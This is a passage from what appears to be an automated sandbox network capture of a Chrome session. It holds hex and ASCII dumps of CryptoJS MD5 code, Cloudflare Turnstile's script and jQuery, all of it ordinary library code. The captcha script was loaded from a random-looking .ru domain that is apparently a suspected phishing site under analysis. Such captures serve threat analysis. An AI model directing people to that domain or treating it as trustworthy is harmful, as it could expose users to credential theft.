2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49720	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:49 UTC	649	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pllu.gnoqwwhpwe.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:49 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ffe97799ea1c436-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:49 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-10 18:04:49 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49721	151.101.130.137	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:49 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:49 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2016815 Date: Fri, 10 Jan 2025 18:04:49 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736532290.656837,VS0,VE1 Vary: Accept-Encoding
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-10 18:04:49 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
